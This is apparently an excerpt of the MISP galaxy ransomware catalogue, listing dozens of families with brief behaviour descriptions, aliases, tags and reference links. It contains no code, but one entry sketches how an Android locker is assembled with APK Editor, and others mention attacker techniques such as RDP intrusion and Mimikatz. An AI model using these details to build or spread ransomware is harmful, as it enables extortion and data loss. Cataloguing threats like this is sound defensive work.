RSAUtil is distributed by the developer hacking into remote desktop services and uploading a package of files. This package contains a variety of tools, a config file that determines how the ransomware executes, and the ransomware itself.

The tag is: *misp-galaxy:ransomware="RSAUtil"*

RSAUtil is also known as:

- Vagger
- DONTSLIP

Table 6329. Table References

Links
https://www.securityweek.com/rsautil-ransomware-distributed-rdp-attacks
https://www.bleepingcomputer.com/news/security/rsautil-ransomware-helppme-india-com-installed-via-hacked-remote-desktop-services/
http://id-ransomware.blogspot.lu/2017/04/rsautil-ransomware.html
http://id-ransomware.blogspot.lu/2017/04/

Qwerty Ransomware

A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim's files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victims files, overwrite the originals, and the append the .qwerty extension to an encrypted file's name.

The tag is: *misp-galaxy:ransomware="Qwerty Ransomware"*

Table 6330. Table References

Links
https://www.bleepingcomputer.com/news/security/qwerty-ransomware-utilizes-gnupg-to-encrypt-a-victims-files/

Zenis Ransomware

A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware. While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.

The tag is: *misp-galaxy:ransomware="Zenis Ransomware"*

Table 6331. Table References

Links
https://www.bleepingcomputer.com/news/security/zenis-ransomware-encrypts-your-data-and-deletes-your-backups/
https://id-ransomware.blogspot.com/2018/03/zenis-ransomware.html

Flotera Ransomware

The tag is: *misp-galaxy:ransomware="Flotera Ransomware"*

Table 6332. Table References

Links
https://www.bleepingcomputer.com/news/security/author-of-polski-vortex-and-flotera-ransomware-families-arrested-in-poland/
http://id-ransomware.blogspot.com/2017/03/flotera-ransomware.html

Black Ruby

A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and appends the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine's maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.

The tag is: *misp-galaxy:ransomware="Black Ruby"*

Black Ruby is also known as:

- BlackRuby

Table 6333. Table References

Links
https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/
https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]

WhiteRose

A new ransomware has been discovered by MalwareHunterTeam that is based off of the InfiniteTear ransomware family, of which BlackRuby and Zenis are members. When this ransomware infects a computer it will encrypt the files, scramble the filenames, and append the .WHITEROSE extension to them.

The tag is: *misp-galaxy:ransomware="WhiteRose"*

Table 6334. Table References

Links
https://www.bleepingcomputer.com/news/security/the-whiterose-ransomware-is-decryptable-and-tells-a-strange-story/
http://id-ransomware.blogspot.com/2018/03/whiterose-ransomware.html

PUBG Ransomware

In what could only be a joke, a new ransomware has been discovered called "PUBG Ransomware" that will decrypt your files if you play the game called PlayerUnknown's Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user's files and folders on the user's desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.

The tag is: *misp-galaxy:ransomware="PUBG Ransomware"*

Table 6335. Table References

Links
https://www.bleepingcomputer.com/news/security/pubg-ransomware-decrypts-your-files-if-you-play-playerunknowns-battlegrounds/
https://id-ransomware.blogspot.com/2018/04/pubg-ransomware.html

LockCrypt

LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don't take much time preparing the attack or the payload. Instead, they're rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.

The tag is: *misp-galaxy:ransomware="LockCrypt"*

Table 6336. Table References

Links
https://www.bleepingcomputer.com/news/security/lockcrypt-ransomware-cracked-due-to-bad-crypto/
https://twitter.com/malwrhunterteam/status/1034436350748053504
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
http://id-ransomware.blogspot.com/2017/06/lockcrypt-ransomware.html

Magniber Ransomware

Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.

The tag is: *misp-galaxy:ransomware="Magniber Ransomware"*

Table 6337. Table References

Links
https://www.bleepingcomputer.com/news/security/decrypters-for-some-versions-of-magniber-ransomware-released/
https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/
https://twitter.com/demonslay335/status/1005133410501787648
http://id-ransomware.blogspot.com/2017/10/my-decryptor-ransomware.html

Vurten

The tag is: *misp-galaxy:ransomware="Vurten"*

Table 6338. Table References

Links
https://twitter.com/siri_urz/status/981191281195044867
http://id-ransomware.blogspot.com/2018/04/vurten-ransomware.html

Reveton ransomware

A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.

The tag is: *misp-galaxy:ransomware="Reveton ransomware"*

Table 6339. Table References

Links
https://www.bleepingcomputer.com/news/security/microsoft-engineer-charged-in-reveton-ransomware-case/
https://en.wikipedia.org/wiki/Ransomware#Reveton
https://nakedsecurity.sophos.com/2012/08/29/reveton-ransomware-exposed-explained-and-eliminated/

Fusob

Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about 56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users' anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomwares between 2015 and 2016.

The tag is: *misp-galaxy:ransomware="Fusob"*

Table 6340. Table References

Links
https://en.wikipedia.org/wiki/Ransomware#Fusob

OXAR

The tag is: *misp-galaxy:ransomware="OXAR"*

Table 6341. Table References

Links
https://twitter.com/demonslay335/status/981270787905720320

BansomQare Manna Ransomware

The tag is: *misp-galaxy:ransomware="BansomQare Manna Ransomware"*

Table 6342. Table References

Links
http://id-ransomware.blogspot.com/2018/03/bansomqarewanna-ransomware.html

Haxerboi Ransomware

The tag is: *misp-galaxy:ransomware="Haxerboi Ransomware"*

SkyFile

The tag is: *misp-galaxy:ransomware="SkyFile"*

Table 6343. Table References

Links
https://twitter.com/malwrhunterteam/status/982229994364547073
http://id-ransomware.blogspot.com/2018/04/skyfile-ransomware.html

MC Ransomware

Supposed joke ransomware, decrypt when running an exectable with the string "Minecraft"

The tag is: *misp-galaxy:ransomware="MC Ransomware"*

Table 6344. Table References

Links
https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/

CSGO Ransomware

Supposed joke ransomware, decrypt when running an exectable with the string "csgo"

The tag is: *misp-galaxy:ransomware="CSGO Ransomware"*

Table 6345. Table References

Links
https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/

XiaoBa ransomware

The tag is: *misp-galaxy:ransomware="XiaoBa ransomware"*

Table 6346. Table References

Links
https://www.bleepingcomputer.com/news/security/xiaoba-ransomware-retooled-as-coinminer-but-manages-to-ruin-your-files-anyway/
https://twitter.com/malwrhunterteam/status/923847744137154560
https://twitter.com/struppigel/status/926748937477939200
https://twitter.com/demonslay335/status/968552114787151873
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/malwrhunterteam/status/1004048636530094081
https://id-ransomware.blogspot.com/2017/10/xiaoba-ransomware.html

NMCRYPT Ransomware

The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.

The tag is: *misp-galaxy:ransomware="NMCRYPT Ransomware"*

Table 6347. Table References

Links
https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/
https://www.enigmasoftware.com/nmcryptansomware-removal/

Iron

It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example. We know the Iron ransomware has mimicked at least three ransomware families:Maktub (payment portal design) DMA Locker (Iron Unlocker, decryption tool) Satan (exclusion list)

The tag is: *misp-galaxy:ransomware="Iron"*

Table 6348. Table References

Links
https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html
http://id-ransomware.blogspot.com/2018/04/ironlocker-ransomware.html

Tron ransomware

The tag is: *misp-galaxy:ransomware="Tron ransomware"*

Table 6349. Table References

Links
https://twitter.com/malwrhunterteam/status/985152346773696512
http://id-ransomware.blogspot.com/2018/04/tron-ransomware.html

Unnamed ramsomware 1

A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compiles an embedded encrypted C# program at runtime and launches it directly into memory.

The tag is: *misp-galaxy:ransomware="Unnamed ramsomware 1"*

Table 6350. Table References

Links
https://www.bleepingcomputer.com/news/security/new-c-ransomware-compiles-itself-at-runtime/

HPE iLO 4 Ransomware

Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim's was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim's are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim's payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.

The tag is: *misp-galaxy:ransomware="HPE iLO 4 Ransomware"*

Table 6351. Table References

Links
https://www.bleepingcomputer.com/news/security/ransomware-hits-hpe-ilo-remote-management-interfaces/
https://twitter.com/M_Shahpasandi/status/989157283799162880
https://id-ransomware.blogspot.com/2018/04/hpe-ilo-ransomware.html

Sigrun Ransomware

When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.

The tag is: *misp-galaxy:ransomware="Sigrun Ransomware"*

Table 6352. Table References

Links
https://www.bleepingcomputer.com/news/security/sigrun-ransomware-author-decrypting-russian-victims-for-free/
http://id-ransomware.blogspot.com/2018/05/sigrun-ransomware.html

CryBrazil

Mostly Hidden Tear with some codes from Eda2 & seems compiled w/ Italian VS. Maybe related to OpsVenezuela?

The tag is: *misp-galaxy:ransomware="CryBrazil"*

Table 6353. Table References

Links
https://twitter.com/malwrhunterteam/status/1002953824590614528
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://id-ransomware.blogspot.com/2018/06/crybrazil-ransomware.html

Pedcont

new destrucrtive ransomware called Pedcont that claims to encrypt files because the victim has accessed illegal content on the deep web. The screen then goes blank and becomes unresponsive.

The tag is: *misp-galaxy:ransomware="Pedcont"*

Table 6354. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/ [https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/]
http://id-ransomware.blogspot.com/2018/06/pedcont-ransomware.html

DiskDoctor

new Scarab Ransomware variant called DiskDoctor that appends the .DiskDoctor extension and drops a ransom note named HOW TO RECOVER ENCRYPTED FILES.TXT

The tag is: *misp-galaxy:ransomware="DiskDoctor"*

DiskDoctor is also known as:

- Scarab-DiskDoctor

Table 6355. Table References

Links
https://id-ransomware.blogspot.com/2018/06/scarab-diskdoctor-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/

RedEye

Jakub Kroustek discovered the RedEye Ransomware, which appends the .RedEye extension and wipes the contents of the files. RedEye can also rewrite the MBR with a screen that gives authors contact info and YouTube channel. Bart also wrote an article on this ransomware detailing how it works and what it does on a system.The ransomware author contacted BleepingComputer and told us that this ransomware was never intended for distribution and was created just for fun.

The tag is: *misp-galaxy:ransomware="RedEye"*

Table 6356. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/JakubKroustek/status/1004463935905509376
https://bartblaze.blogspot.com/2018/06/redeye-ransomware-theres-more-than.html

https://id-ransomware.blogspot.com/2018/06/redeye-ransomware.html

Aurora Ransomware

Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.

The tag is: *misp-galaxy:ransomware="Aurora Ransomware"*

Aurora Ransomware is also known as:

- Zorro Ransomware

Table 6357. Table References

Links
https://www.spamfighter.com/News-21588-Aurora-Ransomware-Circulating-the-Cyber-Space.htm
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/demonslay335/status/1004435398687379456
https://www.bleepingcomputer.com/news/security/aurora-zorro-ransomware-actively-being-distributed/
https://id-ransomware.blogspot.com/2018/05/aurora-ransomware.html

PGPSnippet Ransomware

The tag is: *misp-galaxy:ransomware="PGPSnippet Ransomware"*

Table 6358. Table References

Links
https://twitter.com/demonslay335/status/1005138187621191681

Spartacus Ransomware

The tag is: *misp-galaxy:ransomware="Spartacus Ransomware"*

Table 6359. Table References

Links
https://twitter.com/demonslay335/status/1005136022282428419
https://id-ransomware.blogspot.com/2018/04/spartacus-ransomware.html

Donut

S!Ri found a new ransomware called Donut that appends the .donut extension and uses the email donutmmm@tutanota.com.

The tag is: *misp-galaxy:ransomware="Donut"*

Table 6360. Table References

Links
https://twitter.com/siri_urz/status/1005438610806583296
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-15th-2018-dbger-scarab-and-more/
http://id-ransomware.blogspot.com/2018/06/donut-ransomware.html

NemeS1S Ransomware

Ransomware as a Service

The tag is: *misp-galaxy:ransomware="NemeS1S Ransomware"*

Table 6361. Table References

Links
https://twitter.com/Damian1338B/status/1005411102660923392
https://www.bleepingcomputer.com/news/security/nemes1s-raas-is-padcrypt-ransomwares-affiliate-system/
https://id-ransomware.blogspot.com/2017/01/nemesis-ransomware.html

Paradise Ransomware

MalwareHunterTeam discovered a new Paradise Ransomware variant that uses the extension _V.0.0.0.1{paradise@all-ransomware.info}.prt and drops a ransom note named PARADISE_README_paradise@all-ransomware.info.txt.

The tag is: *misp-galaxy:ransomware="Paradise Ransomware"*

Table 6362. Table References

Links
https://twitter.com/malwrhunterteam/status/1005420103415017472
https://twitter.com/malwrhunterteam/status/993499349199056897
http://id-ransomware.blogspot.com/2017/09/paradise-ransomware.html

B2DR Ransomware

uses the .reycarnasi1983@protonmail.com.gw3w amd a ransom note named ScrewYou.txt

The tag is: *misp-galaxy:ransomware="B2DR Ransomware"*

Table 6363. Table References

Links
https://twitter.com/demonslay335/status/1006220895302705154
https://id-ransomware.blogspot.com/2018/03/b2dr-ransomware.html

YYTO Ransomware

uses the extension .codyprince92@mail.com.ovgm and drops a ransom note named Readme.txt

The tag is: *misp-galaxy:ransomware="YYTO Ransomware"*

Table 6364. Table References

Links
https://twitter.com/demonslay335/status/1006237353474756610
http://id-ransomware.blogspot.com/2017/05/yyto-ransomware.html

Unnamed ramsomware 2

The tag is: *misp-galaxy:ransomware="Unnamed ramsomware 2"*

Table 6365. Table References

Links
https://twitter.com/demonslay335/status/1007334654918250496

Everbe Ransomware

The tag is: *misp-galaxy:ransomware="Everbe Ransomware"*

Table 6366. Table References

Links
https://www.bleepingcomputer.com/news/security/decryptor-released-for-the-everbe-ransomware/
https://twitter.com/malwrhunterteam/status/1065675918000234497
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
http://id-ransomware.blogspot.com/2018/03/everbe-ransomware.html

DirCrypt

The tag is: *misp-galaxy:ransomware="DirCrypt"*

View relationships graph

DirCrypt has relationships with:

- similar: misp-galaxy:malpedia="DirCrypt" with estimative-language:likelihood-probability="likely"

Table 6367. Table References

Links
https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/

DBGer Ransomware

The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new version earlier today. The change was not only in name but also in the ransomware's modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan's modus operandi.

The tag is: *misp-galaxy:ransomware="DBGer Ransomware"*

Table 6368. Table References

Links
https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/
http://id-ransomware.blogspot.com/2018/06/dbger-ransomware.html

RASTAKHIZ

Hidden Tear variant discovered in October 2016. After activation, provides victims with an unlimited amount of time to gather the requested ransom money and pay it. Related unlock keys and the response sent to and from a Gmail addres

The tag is: *misp-galaxy:ransomware="RASTAKHIZ"*

Table 6369. Table References

Links

https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]
https://id-ransomware.blogspot.com/2017/11/rastakhiz-ransomware.html

TYRANT

DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir.Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.

The tag is: *misp-galaxy:ransomware="TYRANT"*

TYRANT is also known as:

- Crypto Tyrant

Table 6370. Table References

Links
https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]
http://id-ransomware.blogspot.com/2017/10/tyrant-ransomware.html

WannaSmile

zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[.]ir, www.payment24[.]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.

The tag is: *misp-galaxy:ransomware="WannaSmile"*

Table 6371. Table References

Links
https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]
https://id-ransomware.blogspot.com/2017/11/wannasmile-ransomware.html

Unnamed Android Ransomware

Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key.

The tag is: *misp-galaxy:ransomware="Unnamed Android Ransomware"*

Table 6372. Table References

Links
https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]

KEYPASS

A new distribution campaign is underway for a STOP Ransomware variant called KeyPass based on the amount of victims that have been seen. Unfortunately, how the ransomware is being distributed is unknown at this time.

The tag is: *misp-galaxy:ransomware="KEYPASS"*

KEYPASS is also known as:

- KeyPass

Table 6373. Table References

Links
https://www.bleepingcomputer.com/news/security/new-keypass-ransomware-campaign-underway/
https://www.kaspersky.com/blog/keypass-ransomware/23447/

STOP Ransomware

Emmanuel_ADC-Soft found a new STOP Ransomware variant that appends the .INFOWAIT extension and drops a ransom note named !readme.txt.

The tag is: *misp-galaxy:ransomware="STOP Ransomware"*

Table 6374. Table References

Links
https://twitter.com/Emm_ADC_Soft/status/1064459080016760833
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/

https://twitter.com/MarceloRivero/status/1065694365056679936
http://id-ransomware.blogspot.com/2017/12/stop-ransomware.html

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware

A new ransomware that only encrypts .EXE files on a computer. It then displays a screen with a picture of President Obama that asks for a "tip" to decrypt the files.

The tag is: *misp-galaxy:ransomware="Barack Obama’s Everlasting Blue Blackmail Virus Ransomware"*

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware is also known as:

- Barack Obama’s Blackmail Virus Ransomware

Table 6375. Table References

Links
https://twitter.com/malwrhunterteam/status/1032242391665790981
https://www.bleepingcomputer.com/news/security/barack-obamas-blackmail-virus-ransomware-only-encrypts-exe-files/
https://id-ransomware.blogspot.com/2018/08/barack-obamas-ransomware.html

CryptoNar

When the CryptoNar, or Crypto Nar, Ransomware encrypts a victims files it will perform the encryption differently depending on the type of file being encrypted. If the targeted file has a .txt or .md extension, it will encrypt the entire file and append the .fully.cryptoNar extension to the encrypted file’s name. All other files will only have the first 1,024 bytes encrypted and will have the .partially.cryptoNar extensions appended to the file’s name.

The tag is: *misp-galaxy:ransomware="CryptoNar"*

View relationships graph

CryptoNar has relationships with:

- similar: misp-galaxy:ransomware="CryptoJoker" with estimative-language:likelihood-probability="likely"

Table 6376. Table References

Links
https://www.bleepingcomputer.com/news/security/cryptonar-ransomware-discovered-and-quickly-decrypted/
https://twitter.com/malwrhunterteam/status/1034492151541977088

https://id-ransomware.blogspot.com/2018/08/cryptonar-ransomware.html

CreamPie Ransomware

Jakub Kroustek found what appears to be an in-dev version of the CreamPie Ransomware. It does not currently display a ransom note, but does encrypt files and appends the .[backdata@cock.li].CreamPie extension to them.

The tag is: *misp-galaxy:ransomware="CreamPie Ransomware"*

Table 6377. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/JakubKroustek/status/1033656080839139333
https://id-ransomware.blogspot.com/2018/08/creampie-ransomware.html

Jeff the Ransomware

Looks to be in-development as it does not encrypt.

The tag is: *misp-galaxy:ransomware="Jeff the Ransomware"*

Table 6378. Table References

Links
https://twitter.com/leotpsc/status/1033625496003731458
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Cassetto Ransomware

Michael Gillespie saw an encrypted file uploaded to ID Ransomware that appends the .cassetto extension and drops a ransom note named IMPORTANT ABOUT DECRYPT.txt.

The tag is: *misp-galaxy:ransomware="Cassetto Ransomware"*

Table 6379. Table References

Links
https://twitter.com/demonslay335/status/1034213399922524160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://id-ransomware.blogspot.com/2018/08/cassetto-ransomware.html

Acroware Cryptolocker Ransomware

Leo discovered a screenlocker that calls itself Acroware Cryptolocker Ransomware. It does not encrypt.

The tag is: *misp-galaxy:ransomware="Acroware Cryptolocker Ransomware"*

Acroware Cryptolocker Ransomware is also known as:

- Acroware Screenlocker

Table 6380. Table References

Links
https://twitter.com/leotpsc/status/1034346447112679430
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Termite Ransomware

Ben Hunter discovered a new ransomware called Termite Ransomware. When encrypting a computer it will append the .aaaaaa extension to encrypted files.

The tag is: *misp-galaxy:ransomware="Termite Ransomware"*

Table 6381. Table References

Links
https://twitter.com/B_H101/status/1034379267956715520
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

PICO Ransomware

S!Ri found a new Thanatos Ransomware variant called PICO Ransomware. This ransomware will append the .PICO extension to encrypted files and drop a ransom note named README.txt.

The tag is: *misp-galaxy:ransomware="PICO Ransomware"*

PICO Ransomware is also known as:

- Pico Ransomware

Table 6382. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

https://twitter.com/siri_urz/status/1035138577934557184

Sigma Ransomware

Today one of our volunteers, Aura, told me about a new new malspam campaign pretending to be from Craigslist that is under way and distributing the Sigma Ransomware. These spam emails contain password protected Word or RTF documents that download the Sigma Ransomware executable from a remote site and install it on a recipients computer.

The tag is: *misp-galaxy:ransomware="Sigma Ransomware"*

Table 6383. Table References

Links
https://www.bleepingcomputer.com/news/security/sigma-ransomware-being-distributed-using-fake-craigslist-malspam/

Crypt0saur

The tag is: *misp-galaxy:ransomware="Crypt0saur"*

Mongo Lock

An attack called Mongo Lock is targeting remotely accessible and unprotected MongoDB databases, wiping them, and then demanding a ransom in order to get the contents back. While this new campaign is using a name to identify itself, these types of attacks are not new and MongoDB databases have been targeted for a while now. These hijacks work by attackers scanning the Internet or using services such as Shodan.io to search for unprotected MongoDB servers. Once connected, the attackers may export the databases, delete them, and then create a ransom note explaining how to get the databases back.

The tag is: *misp-galaxy:ransomware="Mongo Lock"*

Table 6384. Table References

Links
https://www.bleepingcomputer.com/news/security/mongo-lock-attack-ransoming-deleted-mongodb-databases/

Kraken Cryptor Ransomware

The Kraken Cryptor Ransomware is a newer ransomware that was released in August 2018. A new version, called Kraken Cryptor 1.5, was recently released that is masquerading as the legitimate SuperAntiSpyware anti-malware program in order to trick users into installing it.

The tag is: *misp-galaxy:ransomware="Kraken Cryptor Ransomware"*

Table 6385. Table References

Links
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-now-installing-the-kraken-cryptor-ransomware/
https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/
https://twitter.com/MarceloRivero/status/1059575186117328898
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

SAVEfiles

The tag is: *misp-galaxy:ransomware="SAVEfiles"*

Table 6386. Table References

Links
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-pushing-the-savefiles-ransomware/

File-Locker

The File-Locker Ransomware is a Hidden Tear variant that is targeting victims in Korea. When victim's are infected it will leave a ransom requesting 50,000 Won, or approximately 50 USD, to get the files back. This ransomware uses AES encryption with a static password of "dnwls07193147", so it is easily decryptable.

The tag is: *misp-galaxy:ransomware="File-Locker"*

Table 6387. Table References

Links
https://www.bleepingcomputer.com/news/security/file-locker-ransomware-targets-korean-victims-and-asks-for-50k-won/

CommonRansom

A new ransomware called CommonRansom was discovered that has a very bizarre request. In order to decrypt a computer after a payment is made, they require the victim to open up Remote Desktop Services on the affected computer and send them admin credentials in order to decrypt the victim's files.

The tag is: *misp-galaxy:ransomware="CommonRansom"*

Table 6388. Table References

Links

https://www.bleepingcomputer.com/news/security/commonransom-ransomware-demands-rdp-access-to-decrypt-files/

God Crypt Joke Ransomware

MalwareHunterTeam found a new ransomware called God Crypt that does not appear to decrypt and appears to be a joke ransomware. Has an unlock code of 29b579fb811f05c3c334a2bd2646a27a.

The tag is: *misp-galaxy:ransomware="God Crypt Joke Ransomware"*

God Crypt Joke Ransomware is also known as:

- Godsomware v1.0
- Ransomware God Crypt

Table 6389. Table References

Links
https://twitter.com/malwrhunterteam/status/1048616343975682048
